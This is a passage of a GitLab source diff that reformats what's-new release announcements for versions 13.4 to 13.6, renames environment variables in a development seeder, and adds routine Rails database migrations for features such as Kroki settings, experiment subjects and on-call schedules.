- body: Earlier this year, GitLab committed to moving 18 features to our open source core product. With this release of GitLab we've finished moving Feature Flags to Starter, and we are continuing to migrate our Feature Flag service to Core in GitLab 13.5. We're excited about bringing these features to more users and seeing what use cases and workflows you use them for.
+ body: |
+ Earlier this year, GitLab committed to [moving 18 features](https://about.gitlab.com/blog/2020/03/30/new-features-to-core/) to our open source core product. With this release of GitLab we've finished moving Feature Flags to Starter, and we are continuing to migrate our Feature Flag service to Core in [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/212318).
+
+ We're excited about bringing these features to more users and seeing what use cases and workflows you use them for.
stage: Release
self-managed: true
gitlab-com: true
@@ -50,11 +69,14 @@
published_at: 2020-09-22
release: 13.4
- title: Quick navigation using the Search bar
- body: When navigating through GitLab, sometimes you just want to go to a specific project and not a search result page. Using the Global search bar, you can now quickly jump to recent issues, groups, projects, settings, and help topics. You can even use the `/` keyboard shortcut to move the cursor to the search bar, to navigate GitLab even more efficiently!
+ body: |
+ When navigating through GitLab, sometimes you just want to go to a specific project and not a search result page. Using the Global search bar, you can now quickly jump to recent issues, groups, projects, settings, and help topics.
+
+ You can even use the `/` keyboard shortcut to move the cursor to the search bar, to navigate GitLab even more efficiently!
stage: Enablement
self-managed: true
gitlab-com: true
- packages: [core, starter, premium, ultimate]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/user/search/#autocomplete-suggestions
image_url: https://about.gitlab.com/images/13_4/enablement_global_search.gif
published_at: 2020-09-22
diff --git a/data/whats_new/202010230001_13_05.yml b/data/whats_new/202010230001_13_05.yml
index 1c6249ae477..6a36e27d2ee 100644
--- a/data/whats_new/202010230001_13_05.yml
+++ b/data/whats_new/202010230001_13_05.yml
@@ -1,6 +1,13 @@
---
- title: Group wikis
- body: For many teams, using GitLab wikis for planning and documentation is a critical part of their workflow. Wikis are so popular that they get over a million views each month on GitLab.com. Despite this popularity, teams have struggled with the limitation that wikis were only available at the project level. Teams working on multiple projects needed to create separate wikis for each repository, leading to a fragmented experience. In Gitlab 13.5, we are so excited to bring you group wikis! This was the most upvoted feature in the entire GitLab backlog. While highly requested, making a large project-only feature like wikis available at the group level has been a non-trivial operation. We’ve worked tirelessly over the past year to make it happen and now we can't wait to get it in your hands and hear your feedback.
+ body: |
+ For many teams, using GitLab wikis for planning and documentation is a critical part of their workflow. Wikis are so popular that they get over a million views each month on GitLab.com.
+
+ Despite this popularity, teams have struggled with the limitation that wikis were only available at the project level. Teams working on multiple projects needed to create separate wikis for each repository, leading to a fragmented experience.
+
+ In Gitlab 13.5, we are so excited to bring you group wikis! With [680 upvotes](https://gitlab.com/gitlab-org/gitlab/-/issues/13195) this was the most upvoted feature in the entire GitLab backlog. While highly requested, making a large project-only feature like wikis available at the group level has been a non-trivial operation.
+
+ We know a lot of folks have been looking forward to this feature and shared their input pre-release. We hope all of you will continue to weigh in now that group wikis are available and we’ve opened up a [dedicated issue](https://gitlab.com/gitlab-org/gitlab/-/issues/267593) for your feedback.
stage: Create
self-managed: true
gitlab-com: true
@@ -10,7 +17,10 @@
published_at: 2020-10-22
release: 13.5
- title: Install the GitLab Kubernetes Agent with Omnibus GitLab
- body: "Last month we introduced the GitLab Kubernetes Agent for self-managed GitLab instances installed with Helm. This release adds support for the official Linux package. In this new Kubernetes integration, the Agent orchestrates deployments by pulling new changes from GitLab, rather than GitLab pushing updates to your cluster."
+ body: |
+ Last month we introduced the [GitLab Kubernetes Agent](https://about.gitlab.com/releases/2020/09/22/gitlab-13-4-released/#introducing-the-gitlab-kubernetes-agent) for self-managed GitLab instances installed with Helm.
+
+ This release adds support for the [official Linux package](https://about.gitlab.com/install/). In this new Kubernetes integration, the Agent orchestrates deployments by pulling new changes from GitLab, rather than GitLab pushing updates to your cluster. You can learn more about [how the Kubernetes Agent works now](https://docs.gitlab.com/ee/user/clusters/agent/) and [check out our vision](https://about.gitlab.com/direction/configure/kubernetes_management/) to see what’s in store.
stage: Configure
self-managed: true
gitlab-com: false
@@ -20,7 +30,12 @@
published_at: 2020-10-22
release: 13.5
- title: Snippets with multiple files
- body: Engineers often use Snippets to share examples of code, reusable components, logs, and other items. These valuable pieces of information often require additional context and may require more than one file. Sharing a link to multiple files or multiple Snippets makes it challenging for users to piece this context together and understand the scope of what is being presented. GitLab now supports multiple files inside of a single Snippet, so you can create Snippets composed of multiple parts. It broadens its use to endless possibilities!
+ body: |
+ Engineers often use Snippets to share examples of code, reusable components, logs, and other items. These valuable pieces of information often require additional context and may require more than one file. Sharing a link to multiple files or multiple Snippets makes it challenging for users to piece this context together and understand the scope of what is being presented.
+
+ In GitLab 13.0, we laid a foundation for Snippets by giving them [version control](https://about.gitlab.com/releases/2020/05/22/gitlab-13-0-released/#versioned-snippets) support based on a Git repository. Version control and the history it provides are an important piece of context when looking at code and understanding its purpose, but it may not be everything.
+
+ GitLab now supports multiple files inside of a single Snippet, so you can create Snippets composed of multiple parts. It broadens its use to endless possibilities!
stage: Create
self-managed: true
gitlab-com: true
@@ -30,7 +45,10 @@
published_at: 2020-10-22
release: 13.5
- title: Enable instance-level shared runners when viewing groups
- body: GitLab SaaS includes Linux and Windows runners, which are easy to use agents that run your GitLab CI/CD pipeline jobs. These runners, visible in the GitLab.com UI as "shared runners," are enabled by default and can be disabled for each project. However, some organizations require their CI/CD jobs to run only on self-managed runners, and so disabling the use of instance-level shared runners on each project resulted in unnecessary administrative overhead. Now administrators can enable or disable shared runners at the group level. Administrators can also allow groups to override the global setting and use shared runners on a project-by-project basis.
+ body: |
+ GitLab SaaS includes Linux and Windows runners, which are easy to use agents that run your GitLab CI/CD pipeline jobs. These runners, visible in the GitLab.com UI as "shared runners," are enabled by default and can be disabled for each project. However, some organizations require their CI/CD jobs to run only on self-managed runners, and so disabling the use of instance-level shared runners on each project resulted in unnecessary administrative overhead.
+
+ Now administrators can enable or disable shared runners at the group level. Administrators can also allow groups to override the global setting and use shared runners on a project-by-project basis.
stage: Verify
self-managed: true
gitlab-com: true
@@ -40,21 +58,27 @@
published_at: 2020-10-22
release: 13.5
- title: Feature Flags flexible rollout strategy
- body: When you use the percent rollout strategy today, the stickiness, or the experience consistency, is determined only by the user ID. This can be limiting; as an example, anonymous users cannot be affected by this strategy. We have improved this rollout strategy by enabling you to define the stickiness based on session ID, user ID, or at random (no stickiness). This gives you more control over the rollout and allows you to support stickiness for anonymous users.
+ body: |
+ When you use the `percent rollout` strategy today, the stickiness, or the experience consistency, is determined only by the user ID. This can be limiting; as an example, anonymous users cannot be affected by this strategy.
+
+ We have improved this rollout strategy by enabling you to define the stickiness based on session ID, user ID, or at random (no stickiness). This gives you more control over the rollout and allows you to support stickiness for anonymous users.
stage: Release
self-managed: true
gitlab-com: true
- packages: [core, starter, premium, ultimate]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/operations/feature_flags.html#percent-rollout
image_url: https://about.gitlab.com/images/13_5/percent-rollout.png
published_at: 2020-10-22
release: 13.5
- title: SAST support for iOS and Android mobile apps
- body: GitLab SAST now supports mobile applications including iOS apps written in Objective-C and Swift as well as Android apps written in Java and Kotlin powered by the Mobile Security Framework (MobSF). Initially this analyzer supports source code analysis but we intend to expand support for binary scanning of .ipa and .apk files in the near future. This feature was a generous contribution by the H-E-B Digital team.
+ body: |
+ GitLab [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) now supports mobile applications including iOS apps written in Objective-C and Swift as well as Android apps written in Java and Kotlin powered by the [Mobile Security Framework (MobSF)](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Initially this analyzer supports source code analysis but we [intend to expand support for binary scanning](https://gitlab.com/gitlab-org/gitlab/-/issues/269915) of `.ipa` and `.apk` files in the near future.
+
+ This feature was a generous contribution by the [H-E-B Digital](https://digital.heb.com/) team.
stage: Secure
self-managed: true
gitlab-com: true
- packages: [core, starter, premium, ultimate]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks
image_url: https://about.gitlab.com/images/13_5/sast-gitlab-mobile.png
published_at: 2020-10-22
diff --git a/data/whats_new/202011230001_13_06.yml b/data/whats_new/202011230001_13_06.yml
new file mode 100644
index 00000000000..94d26f5e217
--- /dev/null
+++ b/data/whats_new/202011230001_13_06.yml
@@ -0,0 +1,82 @@
+---
+- title: Auto Deploy to EC2
+ body: |
+ Auto DevOps has been expanded to support deployments to Amazon Web Services. You can now deploy to AWS Cloud Compute (EC2) and take advantage of Auto DevOps, even without Kubernetes.
+
+ To enable this workflow, you must enable Auto DevOps and define the AWS-typed environment variables `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, and `AWS_DEFAULT_REGION`. This allows you to provision your own infrastructure by leveraging the [AWS CloudFormation API](https://aws.amazon.com/cloudformation/).
+
+ Then, you can push your previously built artifact to an [AWS S3 bucket](https://aws.amazon.com/s3/), and deploy the content to an [AWS EC2](https://aws.amazon.com/ec2/?ec2-whats-new.sort-by=item.additionalFields.postDateTime&ec2-whats-new.sort-order=desc) instance. Your EC2 deployment then automatically builds you a complete, automatic delivery pipeline without extra manual steps.
+ stage: Release
+ self-managed: true
+ gitlab-com: true
+ packages: [Core, Starter, Premium, Ultimate]
+ url: https://docs.gitlab.com/ee/ci/cloud_deployment/#custom-build-job-for-auto-devops
+ image_url: https://img.youtube.com/vi/4B-qSwKnacA/hqdefault.jpg
+ published_at: 2020-11-22
+ release: 13.6
+- title: Display Code Quality severity ratings
+ body: |
+ The Code Quality feature in GitLab is great at showing what quality violations exist in a project or are changing in the Merge Request. However, understanding which of those violations is the most important is not clear in the GitLab interface today.
+
+ With the Full Code Quality Report and Merge Request Widget, now you can see the severity rating. This makes it easy for you to understand which code quality violations are most important to resolve before merging and reduces the technical debt in your project.
+ stage: Verify
+ self-managed: true
+ gitlab-com: true
+ packages: [Core, Starter, Premium, Ultimate]
+ url: https://docs.gitlab.com/ee/user/project/merge_requests/code_quality.html#code-quality-widget
+ image_url: https://about.gitlab.com/images/13_6/code_quality_severity.png
+ published_at: 2020-11-22
+ release: 13.6
+- title: Display code coverage data for selected projects
+ body: |
+ In 13.4, we released the first iteration of [Code Coverage data for Groups](https://about.gitlab.com/releases/2020/09/22/gitlab-13-4-released/#code-coverage-data-for-all-projects-in-a-group) that enables you to compare the coverage of multiple projects and download the data in a single file from a single screen.
+
+ However, to analyze the data, you had to open the file to check it manually, and probably imported it into a spreadsheet for further analysis.
+
+ In GitLab 13.6, you can now select specific projects in a group to see their latest coverage values directly in GitLab itself without needing to download a file or waste development time accessing code coverage data.
+
+ We welcome feedback on the functionality and possible iterations for this feature in our [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/231515).
+ stage: Verify
+ self-managed: true
+ gitlab-com: true
+ packages: [Premium, Ultimate]
+ url: https://docs.gitlab.com/ee/user/group/repositories_analytics/index.html#latest-project-test-coverage-list
+ image_url: https://about.gitlab.com/images/13_6/display_selected_coverage_projects_example.png
+ published_at: 2020-11-22
+ release: 13.6
+- title: Group-level management of project integrations
+ body: |
+ In GitLab 13.3, we added the ability to [enable an integration across an entire instance](https://about.gitlab.com/releases/2020/08/22/gitlab-13-3-released/#instance-level-project-integration-management-for-external-services). With GitLab 13.6, that feature is being expanded to allow integrations to be managed at the group level as well! Group owners can now add an integration to a group, and that integration will be inherited by all projects under that group.
+
+ This has the potential for saving massive amounts of time, as many organizations have specific integrations that they want rolled out to every project they create.
+
+ A great example of this is using our [Jira integration](https://docs.gitlab.com/ee/user/project/integrations/jira.html). If you're using Jira, it's almost always across the whole company. Some of these companies have _thousands of projects_ and therefore had to configure each and every one of those integrations individually.
+
+ With group-level management of project integrations, you can add the integration at each parent group, reducing the amount of configuration required by orders of magnitude!
+
+ Read more in [our announcement on the GitLab blog](https://about.gitlab.com/blog/2020/11/19/integration-management/).
+ stage: Create
+ self-managed: true
+ gitlab-com: true
+ packages: [Core, Starter, Premium, Ultimate]
+ url: https://docs.gitlab.com/ee/user/admin_area/settings/project_integration_management.html
+ image_url: https://about.gitlab.com/images/13_6/project-integration-inheriting-settings.png
+ published_at: 2020-11-22
+ release: 13.6
+- title: Milestone Burnup Charts and historically accurate reporting
+ body: |
+ A milestone or iteration burndown chart helps track completion progress of total scope, but it doesn't provide insight into how the scope changed during the course of the timebox. Neither has it previously retained historical accuracy regarding how much of the initial committed scope of the milestone or iteration was actually completed.
+
+ To solve these problems and help teams have better insights into scope creep, milestones and iterations now show a burnup chart that tracks the daily total count and weight of issues added to and completed within a given timebox.
+
+ We also refactored burndown charts to use immutable [resource state events](https://docs.gitlab.com/ee/api/resource_state_events.html#issues) that ensure that milestone and iteration charts remain historically accurate even after you’ve moved issues to another timebox.
+
+ This change only applies to milestones and iterations created in GitLab 13.6 or later. Milestones created prior to 13.6 will still have access to [legacy burndown charts](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html#fixed-burndown-charts).
+ stage: Plan
+ self-managed: true
+ gitlab-com: true
+ packages: [Starter, Premium, Ultimate]
+ url: https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html#burnup-charts
+ image_url: https://about.gitlab.com/images/13_6/burnup-chart.png
+ published_at: 2020-11-22
+ release: 13.6
diff --git a/db/fixtures/development/17_cycle_analytics.rb b/db/fixtures/development/17_cycle_analytics.rb
index 57993061c58..826e703a443 100644
--- a/db/fixtures/development/17_cycle_analytics.rb
+++ b/db/fixtures/development/17_cycle_analytics.rb
@@ -7,21 +7,21 @@ require './spec/support/helpers/test_env'
#
# Simple invocation always creates a new project:
#
-# FILTER=cycle_analytics SEED_CYCLE_ANALYTICS=1 bundle exec rake db:seed_fu
+# FILTER=cycle_analytics SEED_VSA=1 bundle exec rake db:seed_fu
#
# Create more issues/MRs:
#
-# CYCLE_ANALYTICS_ISSUE_COUNT=100 FILTER=cycle_analytics SEED_CYCLE_ANALYTICS=1 bundle exec rake db:seed_fu
+# VSA_ISSUE_COUNT=100 FILTER=cycle_analytics SEED_VSA=1 bundle exec rake db:seed_fu
#
# Run for an existing project
#
-# CYCLE_ANALYTICS_SEED_PROJECT_ID=10 FILTER=cycle_analytics SEED_CYCLE_ANALYTICS=1 bundle exec rake db:seed_fu
+# VSA_SEED_PROJECT_ID=10 FILTER=cycle_analytics SEED_VSA=1 bundle exec rake db:seed_fu
class Gitlab::Seeder::CycleAnalytics
attr_reader :project, :issues, :merge_requests, :developers
- FLAG = 'SEED_CYCLE_ANALYTICS'
- PERF_TEST = 'CYCLE_ANALYTICS_PERF_TEST'
+ FLAG = 'SEED_VSA'
+ PERF_TEST = 'VSA_PERF_TEST'
ISSUE_STAGE_MAX_DURATION_IN_HOURS = 72
PLAN_STAGE_MAX_DURATION_IN_HOURS = 48
@@ -40,7 +40,7 @@ class Gitlab::Seeder::CycleAnalytics
def initialize(project: nil, perf: false)
@project = project || create_new_vsm_project
- @issue_count = perf ? 1000 : ENV.fetch('CYCLE_ANALYTICS_ISSUE_COUNT', 5).to_i
+ @issue_count = perf ? 1000 : ENV.fetch('VSA_ISSUE_COUNT', 5).to_i
@issues = []
@merge_requests = []
@developers = []
@@ -195,7 +195,7 @@ class Gitlab::Seeder::CycleAnalytics
end
Gitlab::Seeder.quiet do
- project_id = ENV['CYCLE_ANALYTICS_SEED_PROJECT_ID']
+ project_id = ENV['VSA_SEED_PROJECT_ID']
project = Project.find(project_id) if project_id
seeder = Gitlab::Seeder::CycleAnalytics.seeder_based_on_env(project)
diff --git a/db/fixtures/development/19_environments.rb b/db/fixtures/development/19_environments.rb
index 124f9d74ddd..0f9188164c9 100644
--- a/db/fixtures/development/19_environments.rb
+++ b/db/fixtures/development/19_environments.rb
@@ -6,7 +6,6 @@ class Gitlab::Seeder::Environments
end
def seed!
- @project.create_mock_deployment_service!(active: true)
@project.create_mock_monitoring_service!(active: true)
create_master_deployments!('production')
diff --git a/db/migrate/20200913115700_add_kroki_application_settings.rb b/db/migrate/20200913115700_add_kroki_application_settings.rb
new file mode 100644
index 00000000000..84d490c2980
--- /dev/null
+++ b/db/migrate/20200913115700_add_kroki_application_settings.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class AddKrokiApplicationSettings < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ # rubocop:disable Migration/AddLimitToTextColumns
+ # limit is added in 20201011005400_add_text_limit_to_application_settings_kroki_url.rb
+ #
+ def change
+ add_column :application_settings, :kroki_url, :text
+ add_column :application_settings, :kroki_enabled, :boolean, default: false, null: false
+ end
+ # rubocop:enable Migration/AddLimitToTextColumns
+end
diff --git a/db/migrate/20201011005400_add_text_limit_to_application_settings_kroki_url.rb b/db/migrate/20201011005400_add_text_limit_to_application_settings_kroki_url.rb
new file mode 100644
index 00000000000..96427cc3454
--- /dev/null
+++ b/db/migrate/20201011005400_add_text_limit_to_application_settings_kroki_url.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddTextLimitToApplicationSettingsKrokiUrl < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :application_settings, :kroki_url, 1024
+ end
+
+ def down
+ # Down is required as `add_text_limit` is not reversible
+ #
+ remove_text_limit :application_settings, :kroki_url
+ end
+end
diff --git a/db/migrate/20201021155606_add_analytics_access_level_to_project_features.rb b/db/migrate/20201021155606_add_analytics_access_level_to_project_features.rb
new file mode 100644
index 00000000000..faedbced06b
--- /dev/null
+++ b/db/migrate/20201021155606_add_analytics_access_level_to_project_features.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
+# for more information on how to write migrations for GitLab.
+
+class AddAnalyticsAccessLevelToProjectFeatures < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ # Set this constant to true if this migration requires downtime.
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_column :project_features, :analytics_access_level, :integer, default: 20, null: false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :project_features, :analytics_access_level, :integer
+ end
+ end
+end
diff --git a/db/migrate/20201029144524_add_index_to_releases.rb b/db/migrate/20201029144524_add_index_to_releases.rb
new file mode 100644
index 00000000000..fbffa1453af
--- /dev/null
+++ b/db/migrate/20201029144524_add_index_to_releases.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddIndexToReleases < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_releases_on_released_at'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :releases, :released_at, name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :releases, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201030223933_add_ci_pipeline_deployments_to_plan_limits.rb b/db/migrate/20201030223933_add_ci_pipeline_deployments_to_plan_limits.rb
new file mode 100644
index 00000000000..60f0ff9d6ed
--- /dev/null
+++ b/db/migrate/20201030223933_add_ci_pipeline_deployments_to_plan_limits.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddCiPipelineDeploymentsToPlanLimits < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :plan_limits, :ci_pipeline_deployments, :integer, default: 500, null: false
+ end
+end
diff --git a/db/migrate/20201103045515_add_issuable_metric_images.rb b/db/migrate/20201103045515_add_issuable_metric_images.rb
new file mode 100644
index 00000000000..c598bb468a1
--- /dev/null
+++ b/db/migrate/20201103045515_add_issuable_metric_images.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+class AddIssuableMetricImages < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:issuable_metric_images)
+ with_lock_retries do
+ create_table :issuable_metric_images do |t|
+ t.references :issue, null: false, index: true, foreign_key: { on_delete: :cascade }
+ t.timestamps_with_timezone
+ t.integer :file_store, limit: 2
+ t.text :file, null: false
+ t.text :url
+ end
+ end
+ end
+
+ add_text_limit(:issuable_metric_images, :url, 255)
+ add_text_limit(:issuable_metric_images, :file, 255)
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :issuable_metric_images
+ end
+ end
+end
diff --git a/db/migrate/20201104142036_add_index_to_merge_request_metrics_target_project_id.rb b/db/migrate/20201104142036_add_index_to_merge_request_metrics_target_project_id.rb
new file mode 100644
index 00000000000..348a3387b6f
--- /dev/null
+++ b/db/migrate/20201104142036_add_index_to_merge_request_metrics_target_project_id.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddIndexToMergeRequestMetricsTargetProjectId < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_mr_metrics_on_target_project_id_merged_at_time_to_merge'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :merge_request_metrics, [:target_project_id, :merged_at, :created_at], where: 'merged_at > created_at', name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name(:merge_request_metrics, INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20201106135608_remove_redundant_pipelines_index.rb b/db/migrate/20201106135608_remove_redundant_pipelines_index.rb
new file mode 100644
index 00000000000..03e757c0ec1
--- /dev/null
+++ b/db/migrate/20201106135608_remove_redundant_pipelines_index.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class RemoveRedundantPipelinesIndex < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index_by_name :ci_pipelines, :index_ci_pipelines_on_project_id_and_created_at
+ end
+
+ def down
+ add_concurrent_index :ci_pipelines, [:project_id, :created_at]
+ end
+end
diff --git a/db/migrate/20201106193452_add_converted_at_to_experiment_users.rb b/db/migrate/20201106193452_add_converted_at_to_experiment_users.rb
new file mode 100644
index 00000000000..5391093516b
--- /dev/null
+++ b/db/migrate/20201106193452_add_converted_at_to_experiment_users.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddConvertedAtToExperimentUsers < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :experiment_users, :converted_at, :datetime_with_timezone
+ end
+end
diff --git a/db/migrate/20201109080645_create_vulnerability_remediations_table.rb b/db/migrate/20201109080645_create_vulnerability_remediations_table.rb
new file mode 100644
index 00000000000..b00ce797c7d
--- /dev/null
+++ b/db/migrate/20201109080645_create_vulnerability_remediations_table.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class CreateVulnerabilityRemediationsTable < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ create_table :vulnerability_remediations, if_not_exists: true do |t|
+ t.timestamps_with_timezone
+
+ t.integer :file_store, limit: 2
+ t.text :summary, null: false
+ t.text :file, null: false
+ end
+
+ add_text_limit :vulnerability_remediations, :summary, 200
+ add_text_limit :vulnerability_remediations, :file, 255
+ end
+
+ def down
+ drop_table :vulnerability_remediations
+ end
+end
diff --git a/db/migrate/20201109080646_create_vulnerability_findings_remediations_join_table.rb b/db/migrate/20201109080646_create_vulnerability_findings_remediations_join_table.rb
new file mode 100644
index 00000000000..157f0de0821
--- /dev/null
+++ b/db/migrate/20201109080646_create_vulnerability_findings_remediations_join_table.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class CreateVulnerabilityFindingsRemediationsJoinTable < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ create_table :vulnerability_findings_remediations do |t|
+ t.references :vulnerability_occurrence, index: false, foreign_key: { on_delete: :cascade }
+ t.references :vulnerability_remediation, index: { name: 'index_vulnerability_findings_remediations_on_remediation_id' }, foreign_key: { on_delete: :cascade }
+
+ t.timestamps_with_timezone
+
+ t.index [:vulnerability_occurrence_id, :vulnerability_remediation_id], unique: true, name: 'index_vulnerability_findings_remediations_on_unique_keys'
+ end
+ end
+end
diff --git a/db/migrate/20201110221400_create_experiment_subjects.rb b/db/migrate/20201110221400_create_experiment_subjects.rb
new file mode 100644
index 00000000000..0c04d5b219f
--- /dev/null
+++ b/db/migrate/20201110221400_create_experiment_subjects.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class CreateExperimentSubjects < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ create_table :experiment_subjects do |t|
+ t.references :experiment, index: true, foreign_key: { on_delete: :cascade }, null: false
+ t.bigint :user_id, index: true
+ t.bigint :group_id, index: true
+ t.bigint :project_id, index: true
+ t.integer :variant, limit: 2, null: false, default: 0
+ t.timestamps_with_timezone null: false
+ end
+
+ # Require exactly one of user_id, group_id, or project_id to be NOT NULL
+ execute <<-SQL
+ ALTER TABLE experiment_subjects ADD CONSTRAINT chk_has_one_subject CHECK (num_nonnulls(user_id, group_id, project_id) = 1);
+ SQL
+ end
+
+ def down
+ drop_table :experiment_subjects
+ end
+end
diff --git a/db/migrate/20201111051655_add_foreign_key_to_experiment_subjects_on_user.rb b/db/migrate/20201111051655_add_foreign_key_to_experiment_subjects_on_user.rb
new file mode 100644
index 00000000000..231d083dfda
--- /dev/null
+++ b/db/migrate/20201111051655_add_foreign_key_to_experiment_subjects_on_user.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToExperimentSubjectsOnUser < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ DOWNTIME = false
+
+ def up
+ add_concurrent_foreign_key :experiment_subjects, :users, column: :user_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :experiment_subjects, column: :user_id
+ end
+ end
+end
diff --git a/db/migrate/20201111051847_add_foreign_key_to_experiment_subjects_on_group.rb b/db/migrate/20201111051847_add_foreign_key_to_experiment_subjects_on_group.rb
new file mode 100644
index 00000000000..ad0d7ae027e
--- /dev/null
+++ b/db/migrate/20201111051847_add_foreign_key_to_experiment_subjects_on_group.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToExperimentSubjectsOnGroup < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ DOWNTIME = false
+
+ def up
+ add_concurrent_foreign_key :experiment_subjects, :namespaces, column: :group_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :experiment_subjects, column: :group_id
+ end
+ end
+end
diff --git a/db/migrate/20201111051904_add_foreign_key_to_experiment_subjects_on_project.rb b/db/migrate/20201111051904_add_foreign_key_to_experiment_subjects_on_project.rb
new file mode 100644
index 00000000000..a8a05292cca
--- /dev/null
+++ b/db/migrate/20201111051904_add_foreign_key_to_experiment_subjects_on_project.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToExperimentSubjectsOnProject < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ DOWNTIME = false
+
+ def up
+ add_concurrent_foreign_key :experiment_subjects, :projects, column: :project_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :experiment_subjects, column: :project_id
+ end
+ end
+end
diff --git a/db/migrate/20201111100136_create_analytics_devops_adoption_snapshots.rb b/db/migrate/20201111100136_create_analytics_devops_adoption_snapshots.rb
new file mode 100644
index 00000000000..ee029d17c94
--- /dev/null
+++ b/db/migrate/20201111100136_create_analytics_devops_adoption_snapshots.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class CreateAnalyticsDevopsAdoptionSnapshots < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ create_table :analytics_devops_adoption_snapshots do |t|
+ t.references :segment, index: false, null: false, foreign_key: { to_table: :analytics_devops_adoption_segments, on_delete: :cascade }
+ t.datetime_with_timezone :recorded_at, null: false
+ t.boolean :issue_opened, null: false
+ t.boolean :merge_request_opened, null: false
+ t.boolean :merge_request_approved, null: false
+ t.boolean :runner_configured, null: false
+ t.boolean :pipeline_succeeded, null: false
+ t.boolean :deploy_succeeded, null: false
+ t.boolean :security_scan_succeeded, null: false
+
+ t.index [:segment_id, :recorded_at], name: 'index_on_snapshots_segment_id_recorded_at'
+ end
+ end
+end
diff --git a/db/migrate/20201111115414_create_incident_management_oncall_schedules.rb b/db/migrate/20201111115414_create_incident_management_oncall_schedules.rb
new file mode 100644
index 00000000000..dbb7d1c0808
--- /dev/null
+++ b/db/migrate/20201111115414_create_incident_management_oncall_schedules.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+class CreateIncidentManagementOncallSchedules < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ unless table_exists?(:incident_management_oncall_schedules)
+ create_table :incident_management_oncall_schedules do |t|
+ t.timestamps_with_timezone
+ t.references :project, index: true, null: false, foreign_key: { on_delete: :cascade }
+ t.integer :iid, null: false
+ t.text :name, null: false
+ t.text :description
+ t.text :timezone
+
+ t.index %w(project_id iid), name: 'index_im_oncall_schedules_on_project_id_and_iid', unique: true, using: :btree
+ end
+ end
+ end
+
+ add_text_limit :incident_management_oncall_schedules, :name, 200
